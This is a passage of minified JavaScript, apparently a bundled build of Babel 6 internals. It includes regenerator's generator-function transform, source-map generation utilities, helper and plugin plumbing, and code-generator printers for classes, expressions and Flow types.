y.LoopEntry(s,o,t),function(){n.explodeStatement(e.get("body"))}),n.jump(o),n.mark(s);break;case"BreakStatement":n.emitAbruptCompletion({type:"break",target:n.leapManager.getBreakLoc(r.label)});break;case"ContinueStatement":n.emitAbruptCompletion({type:"continue",target:n.leapManager.getContinueLoc(r.label)});break;case"SwitchStatement":var v=n.emitAssign(n.makeTempVar(),n.explodeExpression(e.get("discriminant")));s=a();for(var b=a(),x=b,A=[],_=r.cases||[],D=_.length-1;D>=0;--D){var C=_[D];h.assertSwitchCase(C),C.test?x=h.conditionalExpression(h.binaryExpression("===",v,C.test),A[D]=a(),x):A[D]=b}var w=e.get("discriminant");E.replaceWithOrRemove(w,x),n.jump(n.explodeExpression(w)),n.leapManager.withEntry(new y.SwitchEntry(s),function(){e.get("cases").forEach(function(e){var t=e.key;n.mark(A[t]),e.get("consequent").forEach(function(e){n.explodeStatement(e)})})}),n.mark(s),-1===b.value&&(n.mark(b),p.default.strictEqual(s.value,b.value));break;case"IfStatement":var P=r.alternate&&a();s=a(),n.jumpIfNot(n.explodeExpression(e.get("test")),P||s),n.explodeStatement(e.get("consequent")),P&&(n.jump(s),n.mark(P),n.explodeStatement(e.get("alternate"))),n.mark(s);break;case"ReturnStatement":n.emitAbruptCompletion({type:"return",value:n.explodeExpression(e.get("argument"))});break;case"WithStatement":throw new Error("WithStatement not supported in generator functions.");case"TryStatement":s=a();var k=r.handler,F=k&&a(),T=F&&new y.CatchEntry(F,k.param),O=r.finalizer&&a(),B=O&&new y.FinallyEntry(O,s),R=new y.TryEntry(n.getUnmarkedCurrentLoc(),T,B);n.tryEntries.push(R),n.updateContextPrevLoc(R.firstLoc),n.leapManager.withEntry(R,function(){if(n.explodeStatement(e.get("block")),F){O?n.jump(O):n.jump(s),n.updateContextPrevLoc(n.mark(F));var t=e.get("handler.body"),r=n.makeTempVar();n.clearPendingException(R.firstLoc,r),t.traverse(S,{safeParam:r,catchParamName:k.param.name}),n.leapManager.withEntry(T,function(){n.explodeStatement(t)})}O&&(n.updateContextPrevLoc(n.mark(O)),n.leapManager.withEntry(B,function(){n.explodeStatement(e.get("finalizer"))}),n.emit(h.returnStatement(h.callExpression(n.contextProperty("finish"),[B.firstLoc]))))}),n.mark(s);break;case"ThrowStatement":n.emit(h.throwStatement(n.explodeExpression(e.get("argument"))));break;default:throw new Error("unknown Statement of type "+(0,c.default)(r.type))}};var S={Identifier:function(e,t){e.node.name===t.catchParamName&&E.isReference(e)&&E.replaceWithOrRemove(e,t.safeParam)},Scope:function(e,t){e.scope.hasOwnBinding(t.catchParamName)&&e.skip()}};A.emitAbruptCompletion=function(e){u(e)||p.default.ok(!1,"invalid completion record: "+(0,c.default)(e)),p.default.notStrictEqual(e.type,"normal","normal completions are not abrupt");var t=[h.stringLiteral(e.type)];"break"===e.type||"continue"===e.type?(h.assertLiteral(e.target),t[1]=e.target):"return"!==e.type&&"throw"!==e.type||e.value&&(h.assertExpression(e.value),t[1]=e.value),this.emit(h.returnStatement(h.callExpression(this.contextProperty("abrupt"),t)))},A.getUnmarkedCurrentLoc=function(){return h.numericLiteral(this.listing.length)},A.updateContextPrevLoc=function(e){e?(h.assertLiteral(e),-1===e.value?e.value=this.listing.length:p.default.strictEqual(e.value,this.listing.length)):e=this.getUnmarkedCurrentLoc(),this.emitAssign(this.contextProperty("prev"),e)},A.explodeExpression=function(e,t){function r(e){if(h.assertExpression(e),!t)return e;s.emit(e)}function n(e,t,r){p.default.ok(!r||!e,"Ignoring the result of a child expression but forcing it to be assigned to a temporary variable?");var n=s.explodeExpression(t,r);return r||(e||l&&!h.isLiteral(n))&&(n=s.emitAssign(e||s.makeTempVar(),n)),n}var i=e.node;if(!i)return i;h.assertExpression(i);var s=this,o=void 0,u=void 0;if(!g.containsLeap(i))return r(i);var l=g.containsLeap.onlyChildren(i);switch(i.type){case"MemberExpression":return r(h.memberExpression(s.explodeExpression(e.get("object")),i.computed?n(null,e.get("property")):i.property,i.computed));case"CallExpression":var f=e.get("callee"),d=e.get("arguments"),m=void 0,y=[],v=!1;if(d.forEach(function(e){v=v||g.containsLeap(e.node)}),h.isMemberExpression(f.node))if(v){var b=n(s.makeTempVar(),f.get("object")),E=f.node.computed?n(null,f.get("property")):f.node.property;y.unshift(b),m=h.memberExpression(h.memberExpression(b,E,f.node.computed),h.identifier("call"),!1)}else m=s.explodeExpression(f);else m=n(null,f),h.isMemberExpression(m)&&(m=h.sequenceExpression([h.numericLiteral(0),m]));return d.forEach(function(e){y.push(n(null,e))}),r(h.callExpression(m,y));case"NewExpression":return r(h.newExpression(n(null,e.get("callee")),e.get("arguments").map(function(e){return n(null,e)})));case"ObjectExpression":return r(h.objectExpression(e.get("properties").map(function(e){return e.isObjectProperty()?h.objectProperty(e.node.key,n(null,e.get("value")),e.node.computed):e.node})));case"ArrayExpression":return r(h.arrayExpression(e.get("elements").map(function(e){return n(null,e)})));case"SequenceExpression":var x=i.expressions.length-1;return e.get("expressions").forEach(function(e){e.key===x?o=s.explodeExpression(e,t):s.explodeExpression(e,!0)}),o;case"LogicalExpression":u=a(),t||(o=s.makeTempVar());var A=n(o,e.get("left"));return"&&"===i.operator?s.jumpIfNot(A,u):(p.default.strictEqual(i.operator,"||"),s.jumpIf(A,u)),n(o,e.get("right"),t),s.mark(u),o;case"ConditionalExpression":var S=a();u=a();var _=s.explodeExpression(e.get("test"));return s.jumpIfNot(_,S),t||(o=s.makeTempVar()),n(o,e.get("consequent"),t),s.jump(u),s.mark(S),n(o,e.get("alternate"),t),s.mark(u),o;case"UnaryExpression":return r(h.unaryExpression(i.operator,s.explodeExpression(e.get("argument")),!!i.prefix));case"BinaryExpression":return r(h.binaryExpression(i.operator,n(null,e.get("left")),n(null,e.get("right"))));case"AssignmentExpression":return r(h.assignmentExpression(i.operator,s.explodeExpression(e.get("left")),s.explodeExpression(e.get("right"))));case"UpdateExpression":return r(h.updateExpression(i.operator,s.explodeExpression(e.get("argument")),i.prefix));case"YieldExpression":u=a();var D=i.argument&&s.explodeExpression(e.get("argument"));if(D&&i.delegate){var C=s.makeTempVar();return s.emit(h.returnStatement(h.callExpression(s.contextProperty("delegateYield"),[D,h.stringLiteral(C.property.name),u]))),s.mark(u),C}return s.emitAssign(s.contextProperty("next"),u),s.emit(h.returnStatement(D||null)),s.mark(u),s.contextProperty("sent");default:throw new Error("unknown Expression of type "+(0,c.default)(i.type))}}},function(e,t){"use strict";e.exports=function(e){var t=/^\\\\\?\\/.test(e),r=/[^\x00-\x80]+/.test(e);return t||r?e:e.replace(/\\/g,"/")}},function(e,t,r){"use strict";function n(){this._array=[],this._set=Object.create(null)}var i=r(63),s=Object.prototype.hasOwnProperty;n.fromArray=function(e,t){for(var r=new n,i=0,s=e.length;i<s;i++)r.add(e[i],t);return r},n.prototype.size=function(){return Object.getOwnPropertyNames(this._set).length},n.prototype.add=function(e,t){var r=i.toSetString(e),n=s.call(this._set,r),a=this._array.length;n&&!t||this._array.push(e),n||(this._set[r]=a)},n.prototype.has=function(e){var t=i.toSetString(e);return s.call(this._set,t)},n.prototype.indexOf=function(e){var t=i.toSetString(e);if(s.call(this._set,t))return this._set[t];throw new Error('"'+e+'" is not in the set.')},n.prototype.at=function(e){if(e>=0&&e<this._array.length)return this._array[e];throw new Error("No element indexed by "+e)},n.prototype.toArray=function(){return this._array.slice()},t.ArraySet=n},function(e,t,r){"use strict";function n(e){return e<0?1+(-e<<1):0+(e<<1)}function i(e){var t=1==(1&e),r=e>>1;return t?-r:r}var s=r(616);t.encode=function(e){var t,r="",i=n(e);do{t=31&i,i>>>=5,i>0&&(t|=32),r+=s.encode(t)}while(i>0);return r},t.decode=function(e,t,r){var n,a,o=e.length,u=0,l=0;do{if(t>=o)throw new Error("Expected more digits in base 64 VLQ value.");if(-1===(a=s.decode(e.charCodeAt(t++))))throw new Error("Invalid base64 digit: "+e.charAt(t-1));n=!!(32&a),a&=31,u+=a<<l,l+=5}while(n);r.value=i(u),r.rest=t}},function(e,t,r){"use strict";function n(e){e||(e={}),this._file=s.getArg(e,"file",null),this._sourceRoot=s.getArg(e,"sourceRoot",null),this._skipValidation=s.getArg(e,"skipValidation",!1),this._sources=new a,this._names=new a,this._mappings=new o,this._sourcesContents=null}var i=r(286),s=r(63),a=r(285).ArraySet,o=r(618).MappingList;n.prototype._version=3,n.fromSourceMap=function(e){var t=e.sourceRoot,r=new n({file:e.file,sourceRoot:t});return e.eachMapping(function(e){var n={generated:{line:e.generatedLine,column:e.generatedColumn}};null!=e.source&&(n.source=e.source,null!=t&&(n.source=s.relative(t,n.source)),n.original={line:e.originalLine,column:e.originalColumn},null!=e.name&&(n.name=e.name)),r.addMapping(n)}),e.sources.forEach(function(t){var n=e.sourceContentFor(t);null!=n&&r.setSourceContent(t,n)}),r},n.prototype.addMapping=function(e){var t=s.getArg(e,"generated"),r=s.getArg(e,"original",null),n=s.getArg(e,"source",null),i=s.getArg(e,"name",null);this._skipValidation||this._validateMapping(t,r,n,i),null!=n&&(n=String(n),this._sources.has(n)||this._sources.add(n)),null!=i&&(i=String(i),this._names.has(i)||this._names.add(i)),this._mappings.add({generatedLine:t.line,generatedColumn:t.column,originalLine:null!=r&&r.line,originalColumn:null!=r&&r.column,source:n,name:i})},n.prototype.setSourceContent=function(e,t){var r=e;null!=this._sourceRoot&&(r=s.relative(this._sourceRoot,r)),null!=t?(this._sourcesContents||(this._sourcesContents=Object.create(null)),this._sourcesContents[s.toSetString(r)]=t):this._sourcesContents&&(delete this._sourcesContents[s.toSetString(r)],0===Object.keys(this._sourcesContents).length&&(this._sourcesContents=null))},n.prototype.applySourceMap=function(e,t,r){var n=t;if(null==t){if(null==e.file)throw new Error('SourceMapGenerator.prototype.applySourceMap requires either an explicit source file, or the source map\'s "file" property. Both were omitted.');n=e.file}var i=this._sourceRoot;null!=i&&(n=s.relative(i,n));var o=new a,u=new a;this._mappings.unsortedForEach(function(t){if(t.source===n&&null!=t.originalLine){var a=e.originalPositionFor({line:t.originalLine,column:t.originalColumn});null!=a.source&&(t.source=a.source,null!=r&&(t.source=s.join(r,t.source)),null!=i&&(t.source=s.relative(i,t.source)),t.originalLine=a.line,t.originalColumn=a.column,null!=a.name&&(t.name=a.name))}var l=t.source;null==l||o.has(l)||o.add(l);var c=t.name;null==c||u.has(c)||u.add(c)},this),this._sources=o,this._names=u,e.sources.forEach(function(t){var n=e.sourceContentFor(t);null!=n&&(null!=r&&(t=s.join(r,t)),null!=i&&(t=s.relative(i,t)),this.setSourceContent(t,n))},this)},n.prototype._validateMapping=function(e,t,r,n){if((!(e&&"line"in e&&"column"in e&&e.line>0&&e.column>=0)||t||r||n)&&!(e&&"line"in e&&"column"in e&&t&&"line"in t&&"column"in t&&e.line>0&&e.column>=0&&t.line>0&&t.column>=0&&r))throw new Error("Invalid mapping: "+JSON.stringify({generated:e,source:r,original:t,name:n}))},n.prototype._serializeMappings=function(){for(var e,t,r,n,a=0,o=1,u=0,l=0,c=0,f=0,p="",d=this._mappings.toArray(),h=0,m=d.length;h<m;h++){if(t=d[h],e="",t.generatedLine!==o)for(a=0;t.generatedLine!==o;)e+=";",o++;else if(h>0){if(!s.compareByGeneratedPositionsInflated(t,d[h-1]))continue;e+=","}e+=i.encode(t.generatedColumn-a),a=t.generatedColumn,null!=t.source&&(n=this._sources.indexOf(t.source),e+=i.encode(n-f),f=n,e+=i.encode(t.originalLine-1-l),l=t.originalLine-1,e+=i.encode(t.originalColumn-u),u=t.originalColumn,null!=t.name&&(r=this._names.indexOf(t.name),e+=i.encode(r-c),c=r)),p+=e}return p},n.prototype._generateSourcesContent=function(e,t){return e.map(function(e){if(!this._sourcesContents)return null;null!=t&&(e=s.relative(t,e));var r=s.toSetString(e);return Object.prototype.hasOwnProperty.call(this._sourcesContents,r)?this._sourcesContents[r]:null},this)},n.prototype.toJSON=function(){var e={version:this._version,sources:this._sources.toArray(),names:this._names.toArray(),mappings:this._serializeMappings()};return null!=this._file&&(e.file=this._file),null!=this._sourceRoot&&(e.sourceRoot=this._sourceRoot),this._sourcesContents&&(e.sourcesContent=this._generateSourcesContent(e.sources,e.sourceRoot)),e},n.prototype.toString=function(){return JSON.stringify(this.toJSON())},t.SourceMapGenerator=n},function(e,t,r){"use strict";t.SourceMapGenerator=r(287).SourceMapGenerator,t.SourceMapConsumer=r(620).SourceMapConsumer,t.SourceNode=r(621).SourceNode},function(e,t,r){(function(e){"use strict";function t(){var e={modifiers:{reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],inverse:[7,27],hidden:[8,28],strikethrough:[9,29]},colors:{black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],gray:[90,39]},bgColors:{bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49]}};return e.colors.grey=e.colors.gray,Object.keys(e).forEach(function(t){var r=e[t];Object.keys(r).forEach(function(t){var n=r[t];e[t]=r[t]={open:"["+n[0]+"m",close:"["+n[1]+"m"}}),Object.defineProperty(e,t,{value:r,enumerable:!1})}),e}Object.defineProperty(e,"exports",{enumerable:!0,get:t})}).call(t,r(39)(e))},function(e,t,r){"use strict";e.exports=r(182)},function(e,t){"use strict";function r(e){return["babel-plugin-"+e,e]}t.__esModule=!0,t.default=r,e.exports=t.default},function(e,t){"use strict";function r(e){var t=["babel-preset-"+e,e],r=e.match(/^(@[^\/]+)\/(.+)$/);if(r){var n=r[1],i=r[2];t.push(n+"/babel-preset-"+i)}return t}t.__esModule=!0,t.default=r,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i);t.default=function(e,t){if(e&&t)return(0,o.default)(e,t,function(e,t){if(t&&Array.isArray(e)){for(var r=t.slice(0),n=e,i=Array.isArray(n),a=0,n=i?n:(0,s.default)(n);;){var o;if(i){if(a>=n.length)break;o=n[a++]}else{if(a=n.next(),a.done)break;o=a.value}var u=o;r.indexOf(u)<0&&r.push(u)}return r}})};var a=r(590),o=n(a);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e,t,r){if(e){if("Program"===e.type)return i.file(e,t||[],r||[]);if("File"===e.type)return e}throw new Error("Not a valid ast?")};var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function s(e,t){var r=[],n=g.functionExpression(null,[g.identifier("global")],g.blockStatement(r)),i=g.program([g.expressionStatement(g.callExpression(n,[c.get("selfGlobal")]))]);return r.push(g.variableDeclaration("var",[g.variableDeclarator(e,g.assignmentExpression("=",g.memberExpression(g.identifier("global"),e),g.objectExpression([])))])),t(r),i}function a(e,t){var r=[];return r.push(g.variableDeclaration("var",[g.variableDeclarator(e,g.identifier("global"))])),t(r),g.program([b({FACTORY_PARAMETERS:g.identifier("global"),BROWSER_ARGUMENTS:g.assignmentExpression("=",g.memberExpression(g.identifier("root"),e),g.objectExpression([])),COMMON_ARGUMENTS:g.identifier("exports"),AMD_ARGUMENTS:g.arrayExpression([g.stringLiteral("exports")]),FACTORY_BODY:r,UMD_ROOT:g.identifier("this")})])}function o(e,t){var r=[];return r.push(g.variableDeclaration("var",[g.variableDeclarator(e,g.objectExpression([]))])),t(r),r.push(g.expressionStatement(e)),g.program(r)}function u(e,t,r){c.list.forEach(function(n){if(!(r&&r.indexOf(n)<0)){var i=g.identifier(n);e.push(g.expressionStatement(g.assignmentExpression("=",g.memberExpression(t,i),c.get(n))))}})}t.__esModule=!0,t.default=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"global",r=g.identifier("babelHelpers"),n=function(t){return u(t,r,e)},i=void 0,l={global:s,umd:a,var:o}[t];if(!l)throw new Error(h.get("unsupportedOutputType",t));return i=l(r,n),(0,p.default)(i).code};var l=r(194),c=i(l),f=r(186),p=n(f),d=r(20),h=i(d),m=r(4),y=n(m),v=r(1),g=i(v),b=(0,y.default)('\n  (function (root, factory) {\n    if (typeof define === "function" && define.amd) {\n      define(AMD_ARGUMENTS, factory);\n    } else if (typeof exports === "object") {\n      factory(COMMON_ARGUMENTS);\n    } else {\n      factory(BROWSER_ARGUMENTS);\n    }\n  })(UMD_ROOT, function (FACTORY_PARAMETERS) {\n    FACTORY_BODY\n  });\n');e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(65),s=n(i),a=r(594),o=n(a);t.default=new s.default({name:"internal.blockHoist",visitor:{Block:{exit:function(e){for(var t=e.node,r=!1,n=0;n<t.body.length;n++){var i=t.body[n];if(i&&null!=i._blockHoist){r=!0;break}}r&&(t.body=(0,o.default)(t.body,function(e){var t=e&&e._blockHoist;return null==t&&(t=1),!0===t&&(t=2),-1*t}))}}}}),e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t){return!!e.is("_forceShadow")||t}function s(e,t){var r=e.inShadow(t);if(i(e,r)){var n=e.node._shadowedFunctionLiteral,s=void 0,a=!1,o=e.find(function(t){if(t.parentPath&&t.parentPath.isClassProperty()&&"value"===t.key)return!0;if(e===t)return!1;if((t.isProgram()||t.isFunction())&&(s=s||t),t.isProgram())return a=!0,!0;if(t.isFunction()&&!t.isArrowFunctionExpression()){if(n){if(t===n||t.node===n.node)return!0}else if(!t.is("shadow"))return!0;return a=!0,!1}return!1});if(n&&o.isProgram()&&!n.isProgram()&&(o=e.findParent(function(e){return e.isProgram()||e.isFunction()})),o!==s&&a){var u=o.getData(t);if(u)return e.replaceWith(u);var l=e.scope.generateUidIdentifier(t);o.setData(t,l);var c=o.findParent(function(e){return e.isClass()}),p=!!(c&&c.node&&c.node.superClass);if("this"===t&&o.isMethod({kind:"constructor"})&&p)o.scope.push({id:l}),o.traverse(d,{id:l});else{var h="this"===t?f.thisExpression():f.identifier(t);n&&(h._shadowedFunctionLiteral=n),o.scope.push({id:l,init:h})}return e.replaceWith(l)}}}t.__esModule=!0;var a=r(10),o=n(a),u=r(65),l=n(u),c=r(1),f=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(c),p=(0,o.default)("super this bound"),d={CallExpression:function(e){if(e.get("callee").isSuper()){var t=e.node;t[p]||(t[p]=!0,e.replaceWith(f.assignmentExpression("=",this.id,t)))}}};t.default=new l.default({name:"internal.shadowFunctions",visitor:{ThisExpression:function(e){s(e,"this")},ReferencedIdentifier:function(e){"arguments"===e.node.name&&s(e,"arguments")}}}),e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(294),o=n(a),u=r(65),l=n(u),c=r(50),f=n(c),p=function(){function e(){(0,s.default)(this,e)}return e.prototype.lint=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return t.code=!1,t.mode="lint",this.transform(e,t)},e.prototype.pretransform=function(e,t){var r=new f.default(t,this);return r.wrap(e,function(){return r.addCode(e),r.parseCode(e),r})},e.prototype.transform=function(e,t){var r=new f.default(t,this);return r.wrap(e,function(){return r.addCode(e),r.parseCode(e),r.transform()})},e.prototype.analyse=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments[2];return t.code=!1,r&&(t.plugins=t.plugins||[],t.plugins.push(new l.default({visitor:r}))),this.transform(e,t).metadata},e.prototype.transformFromAst=function(e,t,r){e=(0,o.default)(e);var n=new f.default(r,this);return n.wrap(t,function(){return n.addCode(t),n.addAst(e),n.transform()})},e}();t.default=p,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(42),o=n(a),u=r(41),l=n(u),c=r(119),f=n(c),p=r(50),d=(n(p),function(e){function t(r,n){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};(0,s.default)(this,t);var a=(0,o.default)(this,e.call(this));return a.plugin=n,a.key=n.key,a.file=r,a.opts=i,a}return(0,l.default)(t,e),t.prototype.addHelper=function(){var e;return(e=this.file).addHelper.apply(e,arguments)},t.prototype.addImport=function(){var e;return(e=this.file).addImport.apply(e,arguments)},t.prototype.getModuleName=function(){var e;return(e=this.file).getModuleName.apply(e,arguments)},t.prototype.buildCodeFrameError=function(){var e;return(e=this.file).buildCodeFrameError.apply(e,arguments)},t}(f.default));t.default=d,e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(3),s=n(i),a=r(625),o=n(a),u=/^[ \t]+$/,l=function(){function e(t){(0,s.default)(this,e),this._map=null,this._buf=[],this._last="",this._queue=[],this._position={line:1,column:0},this._sourcePosition={identifierName:null,line:null,column:null,filename:null},this._map=t}return e.prototype.get=function(){this._flush();var e=this._map,t={code:(0,o.default)(this._buf.join("")),map:null,rawMappings:e&&e.getRawMappings()};return e&&Object.defineProperty(t,"map",{configurable:!0,enumerable:!0,get:function(){return this.map=e.get()},set:function(e){Object.defineProperty(this,"map",{value:e,writable:!0})}}),t},e.prototype.append=function(e){this._flush();var t=this._sourcePosition,r=t.line,n=t.column,i=t.filename,s=t.identifierName;this._append(e,r,n,s,i)},e.prototype.queue=function(e){if("\n"===e)for(;this._queue.length>0&&u.test(this._queue[0][0]);)this._queue.shift();var t=this._sourcePosition,r=t.line,n=t.column,i=t.filename,s=t.identifierName;this._queue.unshift([e,r,n,s,i])},e.prototype._flush=function(){for(var e=void 0;e=this._queue.pop();)this._append.apply(this,e)},e.prototype._append=function(e,t,r,n,i){this._map&&"\n"!==e[0]&&this._map.mark(this._position.line,this._position.column,t,r,n,i),this._buf.push(e),this._last=e[e.length-1];for(var s=0;s<e.length;s++)"\n"===e[s]?(this._position.line++,this._position.column=0):this._position.column++},e.prototype.removeTrailingNewline=function(){this._queue.length>0&&"\n"===this._queue[0][0]&&this._queue.shift()},e.prototype.removeLastSemicolon=function(){this._queue.length>0&&";"===this._queue[0][0]&&this._queue.shift()},e.prototype.endsWith=function(e){if(1===e.length){var t=void 0;if(this._queue.length>0){var r=this._queue[0][0];t=r[r.length-1]}else t=this._last;return t===e}var n=this._last+this._queue.reduce(function(e,t){return t[0]+e},"");return e.length<=n.length&&n.slice(-e.length)===e},e.prototype.hasContent=function(){return this._queue.length>0||!!this._last},e.prototype.source=function(e,t){if(!e||t){var r=t?t[e]:null;this._sourcePosition.identifierName=t&&t.identifierName||null,this._sourcePosition.line=r?r.line:null,this._sourcePosition.column=r?r.column:null,this._sourcePosition.filename=t&&t.filename||null}},e.prototype.withSource=function(e,t,r){if(!this._map)return r();var n=this._sourcePosition.line,i=this._sourcePosition.column,s=this._sourcePosition.filename,a=this._sourcePosition.identifierName;this.source(e,t),r(),this._sourcePosition.line=n,this._sourcePosition.column=i,this._sourcePosition.filename=s,this._sourcePosition.identifierName=a},e.prototype.getCurrentColumn=function(){var e=this._queue.reduce(function(e,t){return t[0]+e},""),t=e.lastIndexOf("\n");return-1===t?this._position.column+e.length:e.length-1-t},e.prototype.getCurrentLine=function(){for(var e=this._queue.reduce(function(e,t){return t[0]+e},""),t=0,r=0;r<e.length;r++)"\n"===e[r]&&t++;return this._position.line+t},e}();t.default=l,e.exports=t.default},function(e,t,r){"use strict";function n(e){this.print(e.program,e)}function i(e){this.printInnerComments(e,!1),this.printSequence(e.directives,e),e.directives&&e.directives.length&&this.newline(),this.printSequence(e.body,e)}function s(e){this.token("{"),this.printInnerComments(e);var t=e.directives&&e.directives.length;e.body.length||t?(this.newline(),this.printSequence(e.directives,e,{indent:!0}),t&&this.newline(),this.printSequence(e.body,e,{indent:!0}),this.removeTrailingNewline(),this.source("end",e.loc),this.endsWith("\n")||this.newline(),this.rightBrace()):(this.source("end",e.loc),this.token("}"))}function a(){}function o(e){this.print(e.value,e),this.semicolon()}t.__esModule=!0,t.File=n,t.Program=i,t.BlockStatement=s,t.Noop=a,t.Directive=o;var u=r(123);Object.defineProperty(t,"DirectiveLiteral",{enumerable:!0,get:function(){return u.StringLiteral}})},function(e,t){"use strict";function r(e){this.printJoin(e.decorators,e),this.word("class"),e.id&&(this.space(),this.print(e.id,e)),this.print(e.typeParameters,e),e.superClass&&(this.space(),this.word("extends"),this.space(),this.print(e.superClass,e),this.print(e.superTypeParameters,e)),e.implements&&(this.space(),this.word("implements"),this.space(),this.printList(e.implements,e)),this.space(),this.print(e.body,e)}function n(e){this.token("{"),this.printInnerComments(e),0===e.body.length?this.token("}"):(this.newline(),this.indent(),this.printSequence(e.body,e),this.dedent(),this.endsWith("\n")||this.newline(),this.rightBrace())}function i(e){this.printJoin(e.decorators,e),e.static&&(this.word("static"),this.space()),e.computed?(this.token("["),this.print(e.key,e),this.token("]")):(this._variance(e),this.print(e.key,e)),this.print(e.typeAnnotation,e),e.value&&(this.space(),this.token("="),this.space(),this.print(e.value,e)),this.semicolon()}function s(e){this.printJoin(e.decorators,e),e.static&&(this.word("static"),this.space()),"constructorCall"===e.kind&&(this.word("call"),this.space()),this._method(e)}t.__esModule=!0,t.ClassDeclaration=r,t.ClassBody=n,t.ClassProperty=i,t.ClassMethod=s,t.ClassExpression=r},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){"void"===e.operator||"delete"===e.operator||"typeof"===e.operator?(this.word(e.operator),this.space()):this.token(e.operator),this.print(e.argument,e)}function s(e){this.word("do"),this.space(),this.print(e.body,e)}function a(e){this.token("("),this.print(e.expression,e),this.token(")")}function o(e){e.prefix?(this.token(e.operator),this.print(e.argument,e)):(this.print(e.argument,e),this.token(e.operator))}function u(e){this.print(e.test,e),this.space(),this.token("?"),this.space(),this.print(e.consequent,e),this.space(),this.token(":"),this.space(),this.print(e.alternate,e)}function l(e,t){this.word("new"),this.space(),this.print(e.callee,e),(0!==e.arguments.length||!this.format.minified||C.isCallExpression(t,{callee:e})||C.isMemberExpression(t)||C.isNewExpression(t))&&(this.token("("),this.printList(e.arguments,e),this.token(")"))}function c(e){this.printList(e.expressions,e)}function f(){
this.word("this")}function p(){this.word("super")}function d(e){this.token("@"),this.print(e.expression,e),this.newline()}function h(){this.token(","),this.newline(),this.endsWith("\n")||this.space()}function m(e){this.print(e.callee,e),this.token("(");var t=e._prettyCall,r=void 0;t&&(r=h,this.newline(),this.indent()),this.printList(e.arguments,e,{separator:r}),t&&(this.newline(),this.dedent()),this.token(")")}function y(){this.word("import")}function v(e){return function(t){if(this.word(e),t.delegate&&this.token("*"),t.argument){this.space();var r=this.startTerminatorless();this.print(t.argument,t),this.endTerminatorless(r)}}}function g(){this.semicolon(!0)}function b(e){this.print(e.expression,e),this.semicolon()}function E(e){this.print(e.left,e),e.left.optional&&this.token("?"),this.print(e.left.typeAnnotation,e),this.space(),this.token("="),this.space(),this.print(e.right,e)}function x(e,t){var r=this.inForStatementInitCounter&&"in"===e.operator&&!P.needsParens(e,t);r&&this.token("("),this.print(e.left,e),this.space(),"in"===e.operator||"instanceof"===e.operator?this.word(e.operator):this.token(e.operator),this.space(),this.print(e.right,e),r&&this.token(")")}function A(e){this.print(e.object,e),this.token("::"),this.print(e.callee,e)}function S(e){if(this.print(e.object,e),!e.computed&&C.isMemberExpression(e.property))throw new TypeError("Got a MemberExpression for MemberExpression property");var t=e.computed;C.isLiteral(e.property)&&"number"==typeof e.property.value&&(t=!0),t?(this.token("["),this.print(e.property,e),this.token("]")):(this.token("."),this.print(e.property,e))}function _(e){this.print(e.meta,e),this.token("."),this.print(e.property,e)}t.__esModule=!0,t.LogicalExpression=t.BinaryExpression=t.AwaitExpression=t.YieldExpression=void 0,t.UnaryExpression=i,t.DoExpression=s,t.ParenthesizedExpression=a,t.UpdateExpression=o,t.ConditionalExpression=u,t.NewExpression=l,t.SequenceExpression=c,t.ThisExpression=f,t.Super=p,t.Decorator=d,t.CallExpression=m,t.Import=y,t.EmptyStatement=g,t.ExpressionStatement=b,t.AssignmentPattern=E,t.AssignmentExpression=x,t.BindExpression=A,t.MemberExpression=S,t.MetaProperty=_;var D=r(1),C=n(D),w=r(187),P=n(w);t.YieldExpression=v("yield"),t.AwaitExpression=v("await");t.BinaryExpression=x,t.LogicalExpression=x},function(e,t,r){"use strict";function n(){this.word("any")}function i(e){this.print(e.elementType,e),this.token("["),this.token("]")}function s(){this.word("boolean")}function a(e){this.word(e.value?"true":"false")}function o(){this.word("null")}function u(e,t){Q.isDeclareExportDeclaration(t)||(this.word("declare"),this.space()),this.word("class"),this.space(),this._interfaceish(e)}function l(e,t){Q.isDeclareExportDeclaration(t)||(this.word("declare"),this.space()),this.word("function"),this.space(),this.print(e.id,e),this.print(e.id.typeAnnotation.typeAnnotation,e),this.semicolon()}function c(e){this.word("declare"),this.space(),this.InterfaceDeclaration(e)}function f(e){this.word("declare"),this.space(),this.word("module"),this.space(),this.print(e.id,e),this.space(),this.print(e.body,e)}function p(e){this.word("declare"),this.space(),this.word("module"),this.token("."),this.word("exports"),this.print(e.typeAnnotation,e)}function d(e){this.word("declare"),this.space(),this.TypeAlias(e)}function 